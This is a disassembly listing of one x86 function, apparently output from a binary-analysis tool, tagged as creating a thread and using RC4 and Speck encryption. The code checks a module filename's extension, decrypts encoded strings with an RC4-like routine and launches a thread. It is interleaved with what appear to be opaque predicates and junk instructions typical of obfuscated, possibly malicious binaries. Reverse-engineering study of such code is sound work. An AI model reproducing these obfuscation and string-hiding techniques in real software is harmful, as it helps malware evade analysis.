Function at 0x82bd00
Capabilities:
Create thread
Encrypt data using rc4 ksa
Encrypt data using speck

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
push esi
push edi
xor esi, esi
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x566]
mov word [ebp - 0x568], si
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x568]
push eax
push esi
call dword [0x8d38d8]
test eax, eax
je 0x82d408
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x35e]
mov word [ebp - 0x360], si
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x568]
push ebx
lea edx, [ebp - 0x360]
push ecx
push edx
stosw word es:[edi], ax
call fcn.0083e269
lea eax, [ebp - 0x360]
push 0x2e
push eax
call fcn.0083dfc7
mov ecx, eax
add esp, 0x10
mov dword [ebp - 0x44], ecx
cmp word [ecx + 4], 0x78
jne 0x82bd94
cmp word [ecx + 6], 0x65
je 0x82c50e
fld qword [0x88f578]
fld qword [0x88f578]
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8b0808]
fsub st(1)
fxch st(1)
fmul qword [0x8965b8]
fadd qword [0x89d9a8]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8b0800]
fnstsw ax
test ah, 0x41
jne 0x82bdd9
fld st(0)
fmul qword [0x8b07f8]
fsubp st(2)
fadd qword [0x896538]
fcom qword [0x8b07f0]
fnstsw ax
test ah, 1
jne 0x82bda0
fxch st(1)
fst qword [ebp - 0x4c]
fxch st(1)
fstp st(0)
fcomp qword [0x88f578]
fnstsw ax
test ah, 1
je 0x82be29
cmp esp, dword [edx + eax*2 + 0x39ab38ad]
mov eax, dword [0x777cac40]
dec eax
pop ebx
push ebx
jo 0x82be86
imul ebp, dword [edi + 0x50], 0x326b6964
inc ebp
xor byte [bp + si + 0x20], bh
cmp al, 0x55
push 0x9be9547d
push es
add byte [eax], al
mov dword [ebp - 0x50], 0x82be02
mov dword [ebp - 0x54], 0x82be0c
xor eax, eax
mov byte [ebp + eax - 0x158], al
inc eax
cmp eax, 0x100
jb 0x82be39
fld qword [ebp - 0x4c]
mov byte [ebp - 4], 0
xor edi, edi
mov esi, dword [ebp - 4]
mov dword [ebp - 0xc], 0xff
mov eax, dword [ebp - 0xc]
mov ebx, 1
cmp eax, ebx
mov dword [ebp - 0x34], 0
jbe 0x82be76
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x82be6e
cmp edi, 3
ja case.default.0x82be7b
jmp dword [edi*4 + 0x82d410]
fld st(0)
and esi, 0xff
inc dword [eax]
add byte [eax], al
call fcn.0083dce4
mov cl, byte [ebp + esi - 0x158]
jmp 0x82bef7
fld st(0)
and esi, 0xff
call fcn.0083dce4
mov cl, byte [ebp + esi - 0x158]
shr eax, 8
jmp 0x82bef7
fld st(0)
and esi, 0xff
call fcn.0083dce4
mov cl, byte [ebp + esi - 0x158]
shr eax, 0x10
jmp 0x82bef7
fld st(0)
and esi, 0xff
call fcn.0083dce4
mov cl, byte [ebp + esi - 0x158]
shr eax, 0x18
jmp 0x82bef7
mov ecx, dword [ebp - 0x54]
and esi, 0xff
mov cl, byte [ecx + edi - 4]
mov al, byte [ebp + esi - 0x158]
add cl, al
inc edi
cmp edi, 0x1c
mov byte [ebp - 4], cl
jb 0x82bf0a
xor edi, edi
add cl, 0x1c
mov byte [ebp - 4], cl
mov esi, dword [ebp - 4]
mov eax, dword [ebp - 0x34]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x34], eax
jbe 0x82bf2a
mov eax, edx
xor edx, edx
div dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, edx
jb 0x82be76
je 0x82bf62
mov bl, byte [ebp + eax - 0x158]
lea edx, [ebp + edx - 0x158]
lea ecx, [ebp + eax - 0x158]
mov al, byte [edx]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xc], eax
jne 0x82be5b
mov dl, byte [ebp - 0x151]
and esi, 0xff
mov byte [ebp - 0x20], dl
mov bl, byte [ebp - 0x155]
mov al, byte [ebp + esi - 0x158]
mov esi, dword [ebp - 0x50]
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x153]
mov dl, byte [esi]
mov al, byte [esi + 1]
add dl, 8
add al, 0x5f
shl dl, 4
or al, dl
mov byte [ebp - 4], al
mov eax, dword [ebp - 0xc]
and eax, 0xff
fstp st(0)
mov dl, byte [ebp + eax - 0x158]
lea edi, [ebp + eax - 0x158]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x157]
mov eax, edx
and eax, 0xff
mov al, byte [ebp + eax - 0x158]
add al, bl
inc dl
mov byte [ebp - 0x24], al
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [edi], bl
mov ebx, dword [ebp - 0x20]
and ebx, 0xff
mov dword [ebp - 0x28], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0x18], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x18]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x1c], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x2c], cl
mov edx, dword [ebp - 0x2c]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
mov edi, dword [ebp - 0x1c]
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x28]
mov dl, byte [edx]
mov bl, byte [ebp + ebx - 0x158]
add edx, edi
and edx, 0xff
xor bl, byte [ebp + edx - 0x158]
mov dl, byte [ebp - 4]
mov byte [ebp - 0xc], dl
xor bl, dl
xor edx, edx
mov dl, byte [esi + 2]
mov byte [ebp - 0x20], bl
mov bl, byte [esi + 3]
sub edx, 0x38
shl edx, 4
add bl, 0x5f
or bl, dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov byte [ebp - 4], bl
lea edi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x18]
mov bl, byte [edx]
mov dl, byte [ebp - 0x14]
add al, bl
inc dl
mov byte [ebp - 0x24], al
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [edi], bl
mov ebx, dword [ebp - 0x20]
and ebx, 0xff
mov dword [ebp - 0x28], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0x18], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x18]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x1c], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x2c], cl
mov edx, dword [ebp - 0x2c]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x28]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x1c]
add ebx, edx
mov dl, byte [ebp + edi - 0x158]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 4]
mov byte [ebp - 0xc], bl
xor dl, bl
xor ebx, ebx
mov byte [ebp - 0x20], dl
movsx dx, dl
mov word [ebp - 0x40], dx
mov bl, byte [esi + 5]
xor edx, edx
sub ebx, 0xa1
mov dl, byte [esi + 4]
sub edx, 0x38
shl edx, 4
or dl, bl
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
lea edi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x18]
mov bl, byte [edx]
mov dl, byte [ebp - 0x14]
add al, bl
inc dl
mov byte [ebp - 0x24], al
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [edi], bl
mov ebx, dword [ebp - 0x20]
and ebx, 0xff
mov dword [ebp - 0x28], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0x18], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x18]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x1c], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x2c], cl
mov edx, dword [ebp - 0x2c]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x28]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x1c]
add ebx, edx
mov dl, byte [ebp + edi - 0x158]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 4]
mov byte [ebp - 0xc], bl
xor dl, bl
mov byte [ebp - 0x20], dl
movsx dx, dl
mov word [ebp - 0x3e], dx
mov bl, byte [esi + 6]
mov dl, byte [esi + 7]
add bl, 8
add dl, 0x5f
shl bl, 4
or dl, bl
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
lea edi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x18]
mov bl, byte [edx]
mov dl, byte [ebp - 0x14]
add al, bl
mov byte [ebp - 0x24], al
inc dl
mov byte [ebp - 0x14], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [edi], bl
mov ebx, dword [ebp - 0x20]
and ebx, 0xff
mov dword [ebp - 0x28], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0x18], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x18]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x1c], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x2c], cl
mov edx, dword [ebp - 0x2c]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x28]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x1c]
add ebx, edx
mov dl, byte [ebp + edi - 0x158]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 4]
xor dl, bl
mov byte [ebp - 0x20], dl
movsx dx, dl
mov word [ebp - 0x3c], dx
mov edx, dword [ebp - 4]
and edx, 0xff
lea edi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x18]
mov bl, byte [edx]
add al, bl
mov bl, byte [ebp - 0x14]
mov byte [ebp - 0x24], al
inc bl
mov eax, dword [ebp - 0x24]
mov byte [ebp - 0x14], bl
and eax, 0xff
mov dl, byte [ebp + eax - 0x158]
lea eax, [ebp + eax - 0x158]
mov byte [edi], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [eax], bl
mov ebx, dword [ebp - 0x14]
and ebx, 0xff
mov dword [ebp - 8], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x18], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 0x18]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
mov bl, byte [esi + 8]
and edx, 0xff
mov dword [ebp - 0x1c], edx
mov dl, byte [esi + 9]
mov esi, dword [ebp - 0x1c]
sub bl, 8
add dl, 0x5f
mov al, byte [eax]
shl bl, 4
or dl, bl
mov bl, byte [ebp + esi - 0x158]
mov esi, dword [ebp - 8]
add bl, cl
and ebx, 0xff
mov word [ebp - 0x38], 0
mov cl, byte [ebp + ebx - 0x158]
mov bl, byte [esi]
add ecx, ebx
mov bl, byte [edi]
mov edi, dword [ebp - 0x1c]
add ecx, ebx
and ecx, 0xff
xor ebx, ebx
add eax, edi
mov bl, byte [ebp + ecx - 0x158]
and eax, 0xff
mov cl, byte [ebp + ebx - 0x158]
xor dl, cl
mov cl, byte [ebp + eax - 0x158]
xor dl, cl
movsx cx, dl
mov word [ebp - 0x3a], cx
mov ecx, dword [ebp - 0x44]
lea edx, [ebp - 0x40]
lea eax, [ebp - 0x360]
xor esi, esi
push edx
push eax
mov word [ecx], si
call fcn.0083e23f
lea ecx, [ebp - 0x360]
lea edx, [ebp - 0x568]
push ecx
push edx
call fcn.0083e74e
mov ecx, 0x100
xor eax, eax
mov edi, 0x8d19c0
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x360]
push eax
push 0x8d19c0
call fcn.0083e269
add esp, 0x18
lea ecx, [ebp - 0x30]
push ecx
push esi
push esi
push 0x8286c0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
fld qword [0x88f578]
fld qword [0x88f578]
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8b07e8]
fsub st(1)
fxch st(1)
fmul qword [0x89fef8]
fadd qword [0x8b07e0]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8a1248]
fnstsw ax
test ah, 0x41
jne 0x82c566
fld st(0)
fmul qword [0x8b07d8]
fsubp st(2)
fadd qword [0x896538]
fcom qword [0x8b07d0]
fnstsw ax
test ah, 1
jne 0x82c52d
fxch st(1)
fst qword [ebp - 0x4c]
fxch st(1)
fstp st(0)
fcomp qword [0x88f578]
fnstsw ax
test ah, 1
je 0x82c5be
dec ebx
push ebp
jge 0x82c5ea
and dword [edi], ebp
inc esp
xor ah, byte [ecx + 0x45]
imul ebp, dword [edx + ebp*2], 0x25
ja 0x82c613
xor eax, 0x472e302c
and dl, byte [edi + 0x44]
xor esi, dword es:[ebp + 0x42]
imul eax, esi, 0x48
leave
dec ebx
ror byte [ebp - 0x32], cl
inc ebx
into
dec edi
retf 0xe942
mov dword [ebp - 0x54], 0x82c5ad
mov dword [ebp - 0x44], 0x82c58f
xor eax, eax
mov byte [ebp + eax - 0x158], al
inc eax
cmp eax, 0x100
jb 0x82c5ce
fld qword [ebp - 0x4c]
mov byte [ebp - 4], 0
xor edi, edi
mov esi, dword [ebp - 4]
mov dword [ebp - 0xc], 0xff
inc ebp
hlt
mov eax, dword [ebp - 0xc]
mov ebx, 1
cmp eax, ebx
mov dword [ebp - 0x34], 0
jbe 0x82c60b
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x82c603
cmp edi, 3
ja case.default.0x82c610
jmp dword [edi*4 + 0x82d420]
and ah, dl
add byte [eax], 0xd9
fld st(0)
and esi, 0xff
fld st(0)
and esi, 0xff
call fcn.0083dce4
mov cl, byte [ebp + esi - 0x158]
jmp 0x82c68c
fld st(0)
and esi, 0xff
call fcn.0083dce4
mov cl, byte [ebp + esi - 0x158]
shr eax, 8
jmp 0x82c68c
fld st(0)
and esi, 0xff
call fcn.0083dce4
mov cl, byte [ebp + esi - 0x158]
shr eax, 0x10
jmp 0x82c68c
fld st(0)
and esi, 0xff
call fcn.0083dce4
mov cl, byte [ebp + esi - 0x158]
shr eax, 0x18
jmp 0x82c68c
mov edx, dword [ebp - 0x44]
and esi, 0xff
mov cl, byte [edx + edi - 4]
mov al, byte [ebp + esi - 0x158]
add cl, al
inc edi
cmp edi, 0x22
mov byte [ebp - 4], cl
jb 0x82c69f
xor edi, edi
add cl, 0x22
mov byte [ebp - 4], cl
mov esi, dword [ebp - 4]
mov eax, dword [ebp - 0x34]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x34], eax
jbe 0x82c6bf
mov eax, edx
xor edx, edx
div dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, edx
jb 0x82c60b
je 0x82c6f7
mov bl, byte [ebp + eax - 0x158]
lea edx, [ebp + edx - 0x158]
lea ecx, [ebp + eax - 0x158]
mov al, byte [edx]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xc], eax
jne 0x82c5f0
mov dl, byte [ebp - 0x151]
mov edi, dword [ebp - 0x54]
and esi, 0xff
mov byte [ebp - 0x1c], dl
mov dl, byte [edi]
mov bl, byte [ebp - 0x155]
mov al, byte [ebp + esi - 0x158]
add dl, 0xd
mov byte [ebp - 0x2c], al
mov al, byte [edi + 1]
sub al, 0x41
mov cl, byte [ebp - 0x153]
shl dl, 4
or al, dl
mov byte [ebp - 0x24], al
mov eax, dword [ebp - 0x2c]
and eax, 0xff
fstp st(0)
mov dl, byte [ebp + eax - 0x158]
lea esi, [ebp + eax - 0x158]
mov byte [ebp - 8], dl
mov edx, dword [ebp - 0x157]
mov eax, edx
and eax, 0xff
mov al, byte [ebp + eax - 0x158]
add al, bl
inc dl
mov byte [ebp - 0x20], al
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [esi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 4], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 8]
mov byte [ebx], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0xc], cl
mov edx, dword [ebp - 0xc]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
mov esi, dword [ebp - 0x28]
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 4]
mov dl, byte [edx]
mov bl, byte [ebp + ebx - 0x158]
add edx, esi
and edx, 0xff
xor bl, byte [ebp + edx - 0x158]
mov dl, byte [ebp - 0x24]
mov byte [ebp - 0x2c], dl
xor bl, dl
mov dl, byte [edi + 3]
mov byte [ebp - 0x1c], bl
sub dl, 0x41
mov bl, byte [edi + 2]
add bl, 0xd
shl bl, 4
or dl, bl
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x2c]
and edx, 0xff
lea esi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 8], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 0x18]
add al, bl
inc dl
mov byte [ebp - 0x20], al
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [esi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 4], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 8]
mov byte [ebx], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0xc], cl
mov edx, dword [ebp - 0xc]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 4]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x28]
add ebx, edx
mov dl, byte [ebp + esi - 0x158]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x2c], bl
xor dl, bl
mov byte [ebp - 0x1c], dl
movsx dx, dl
mov word [ebp - 0x40], dx
mov bl, byte [edi + 5]
xor edx, edx
sub bl, 0x41
mov dl, byte [edi + 4]
sub edx, 0xc3
shl dl, 4
or bl, dl
mov edx, dword [ebp - 0x2c]
and edx, 0xff
mov byte [ebp - 0x24], bl
lea esi, [ebp + edx - 0x158]
mov dl, byte [esi]
mov byte [ebp - 8], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 0x18]
add al, bl
inc dl
mov byte [ebp - 0x20], al
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [esi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 4], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 8]
mov byte [ebx], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0xc], cl
mov edx, dword [ebp - 0xc]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 4]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x28]
add ebx, edx
mov dl, byte [ebp + esi - 0x158]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x2c], bl
xor dl, bl
mov byte [ebp - 0x1c], dl
movsx dx, dl
mov word [ebp - 0x3e], dx
xor edx, edx
mov dl, byte [edi + 6]
mov esi, edx
xor edx, edx
mov dl, byte [edi + 7]
lea ebx, [esi - 0xc3]
sub dl, 0x41
shl bl, 4
or dl, bl
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x2c]
and edx, 0xff
lea esi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 8], dl
mov edx, dword [ebp - 0x14]
add al, byte [edx]
mov byte [ebp - 0x20], al
mov dl, byte [ebp - 0x18]
inc dl
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [esi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 4], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 8]
mov byte [ebx], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0xc], cl
mov edx, dword [ebp - 0xc]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 4]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x28]
add ebx, edx
mov dl, byte [ebp + esi - 0x158]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x2c], bl
xor dl, bl
mov byte [ebp - 0x1c], dl
movsx dx, dl
mov word [ebp - 0x3c], dx
mov bl, byte [edi + 8]
mov dl, byte [edi + 9]
add bl, 0xd
sub dl, 0x41
shl bl, 4
or dl, bl
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x2c]
and edx, 0xff
lea esi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 8], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 0x18]
add al, bl
inc dl
mov byte [ebp - 0x20], al
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 4], edx
mov byte [esi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 8]
mov byte [ebx], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0xc], cl
mov edx, dword [ebp - 0xc]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 4]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x28]
add ebx, edx
mov dl, byte [ebp + esi - 0x158]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 0x24]
xor dl, bl
mov byte [ebp - 0x1c], dl
movsx dx, dl
mov word [ebp - 0x3a], dx
mov edx, dword [ebp - 0x24]
and edx, 0xff
lea esi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 8], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
add al, bl
mov bl, byte [ebp - 0x18]
mov byte [ebp - 0x20], al
inc bl
mov eax, dword [ebp - 0x20]
mov byte [ebp - 0x18], bl
and eax, 0xff
mov dl, byte [ebp + eax - 0x158]
lea eax, [ebp + eax - 0x158]
mov byte [esi], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [eax], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x10], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x14], ebx
